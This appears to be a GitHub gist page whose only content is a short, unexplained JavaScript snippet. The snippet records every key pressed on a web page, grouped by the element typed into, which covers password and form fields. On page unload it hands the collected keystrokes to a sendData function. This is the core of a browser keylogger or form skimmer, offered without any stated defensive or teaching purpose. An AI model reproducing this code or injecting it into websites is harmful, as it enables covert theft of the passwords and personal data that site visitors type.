Last active
February 4, 2021 18:03
-
-
Save Katerina198b/5cb6f178b2837295039124dfc3213371 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const map = {}; | |
document.body.addEventListener("keydown", ({key, target}) => { | |
if (!target) { | |
return; | |
} | |
const mapKey = target.tagName + (target.className || ''); | |
map[mapKey] = (map[mapKey] || '') + key; | |
}); | |
window.addEventListener("unload", function() { | |
sendData(map); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment